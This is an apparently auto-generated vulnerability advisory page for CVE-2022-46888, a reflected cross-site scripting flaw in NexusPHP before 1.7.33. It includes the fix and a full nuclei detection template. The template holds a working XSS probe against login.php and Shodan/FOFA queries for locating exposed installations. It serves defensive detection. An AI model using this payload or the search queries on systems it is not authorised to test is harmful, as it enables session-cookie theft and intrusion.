HexBrain

Browse / CVEs / CVE-2022-46888

CVE-2022-46888· nexusphp / nexusphp· CWE-79

NexusPHP <1.7.33 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it

NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..

Impact

Attackers can inject malicious JavaScript through multiple parameters including secret in login.php, potentially stealing session cookies and credentials when users interact with crafted URLs in NexusPHP.

Fix

Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>
Positive when: contains "value=\"\"><script>alert(document.domain)</script>\">" and "NexusPHP" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-46888 -u <target>

The full check
id: CVE-2022-46888

info:
  name: NexusPHP <1.7.33 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    NexusPHP before 1.7.33 contains multiple cross-site scripting vulnerabilities via the secret parameter in /login.php; q parameter in /user-ban-log.php; query parameter in /log.php; text parameter in /moresmiles.php; q parameter in myhr.php; or id parameter in /viewrequests.php. An attacker can inject arbitrary web script or HTML, which can allow theft of cookie-based authentication credentials and launch of other attacks..
  impact: |
    Attackers can inject malicious JavaScript through multiple parameters including secret in login.php, potentially stealing session cookies and credentials when users interact with crafted URLs in NexusPHP.
  remediation: |
    Upgrade to NexusPHP version 1.7.33 or later to mitigate this vulnerability.
  reference:
    - https://www.surecloud.com/resources/blog/nexusphp-surecloud-security-review-identifies-authenticated-unauthenticated-vulnerabilities
    - https://github.com/xiaomlove/nexusphp/releases/tag/v1.7.33
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46888
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46888
    cwe-id: CWE-79
    epss-score: 0.01587
    epss-percentile: 0.75817
    cpe: cpe:2.3:a:nexusphp:nexusphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nexusphp
    product: nexusphp
    shodan-query:
      - http.favicon.hash:-582931176
      - cpe:"cpe:2.3:a:nexusphp:nexusphp"
    fofa-query: icon_hash=-582931176
  tags: cve,cve2022,nexus,php,nexusphp,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.php?secret="><script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value=""><script>alert(document.domain)</script>">'
          - 'NexusPHP'
        case-insensitive: true
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from